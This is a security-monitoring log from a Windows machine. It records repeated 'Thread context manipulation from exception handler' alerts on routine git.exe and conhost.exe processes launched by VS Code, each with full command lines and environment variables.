--utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 262 + Pid: 6192 + Tid: 16240 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.2045662 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 17c707000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b089080, name➜ conhost.exe, pid➜ 6848, ppid➜ 6192, real_ppid➜ 6192, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.2045662 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6192 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 264 + Pid: 10984 + Tid: 2268 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.2188112 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 36f026000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58a4a080, name➜ conhost.exe, pid➜ 11124, ppid➜ 10984, real_ppid➜ 10984, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.2188112 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 10984 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 266 + Pid: 6192 + Tid: 16240 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.2652722 +0100 CET + Params: cmdline➜ git.exe config --get commit.template, directory_table_base➜ 424ea7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a191080, name➜ git.exe, pid➜ 10260, ppid➜ 6192, real_ppid➜ 6192, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.2652722 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6192 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 268 + Pid: 10984 + Tid: 2268 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.2711673 +0100 CET + Params: cmdline➜ git.exe for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 41bbd4000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5a272080, name➜ git.exe, pid➜ 5452, ppid➜ 10984, real_ppid➜ 10984, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.2711673 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 10984 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 276 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.3629307 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" status -z -uall, directory_table_base➜ 46e3be000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b2c6080, name➜ git.exe, pid➜ 2296, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.3629307 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:13+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 278 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.3687307 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 3e56da000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b450080, name➜ git.exe, pid➜ 15816, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.3687307 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY 